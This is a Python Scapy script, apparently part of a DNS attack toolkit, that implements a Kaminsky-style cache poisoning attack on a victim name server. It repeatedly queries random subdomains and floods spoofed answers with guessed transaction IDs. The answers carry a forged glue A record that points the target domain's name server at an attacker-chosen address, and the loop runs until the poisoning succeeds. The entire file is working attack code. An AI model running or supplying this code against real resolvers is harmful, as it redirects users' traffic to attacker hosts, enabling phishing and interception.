from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, sr1, send
import utils
from vars import ccolors
import datetime

def loud(args):
    poisoned = False

    # first packet sent to the victim NS to start the recursive domain to ip resolution
    reqPkt = IP(dst=args.victim) / UDP(sport=53) / DNS(qr=0, qd=DNSQR(qname=""))
    # authoritative record
    realNSRR = DNSRR(rrname=args.targetDomain,  type='NS', rdata=args.soaDomain[0], ttl=args.ttl)
    # fake additional record (glue)
    fakeARR = DNSRR(rrname=args.soaDomain[0], type='A', rdata=args.addressToForge, ttl=args.ttl)

    amount = 5
    resPkts = list()
    for x in xrange(0, amount-1):
        resPkts.append(IP(dst=args.victim) / UDP(sport=53,dport=54) / DNS(aa=1, qr=1, qd=DNSQR(qname=""), ns=realNSRR, ar=fakeARR))

    while not poisoned:
        # generate random subdomain, i.e. 1234www5678.example.com
        queryDomain = utils.getRandomSubdomain() + args.targetDomain

        for x in xrange(0,amount-1):
            resPkts[x][DNS].id = utils.getRandomTXID()
            resPkts[x][DNS].qd.qname = queryDomain

        reqPkt[DNS].qd.qname = queryDomain
        send(reqPkt, verbose=False)

        for x in xrange(0,amount-1):
            send(resPkts[x], verbose=False)

        # ask the victim for the IP of the domain we are trying to spoof
        pkt = sr1(IP(dst=args.victim) / UDP(sport=53) / DNS(qr=0, qd=DNSQR(qname=args.soaDomain[0], qtype='A')), verbose=False)
        if pkt[DNS].an and pkt[DNS].an.rdata:
            actualAnswer = str(pkt[DNS].an.rdata)
            # if the IP is our IP, we poisoned the victim
            if actualAnswer == args.addressToForge:
                poisoned = True

    print ccolors.OKGREEN + 'Poisoned now!\n' + ccolors.NC

    deltaTime = datetime.datetime.now() - args.startTime

    print ccolors.WARNING + 'It took: ' + str(deltaTime) + ccolors.NC
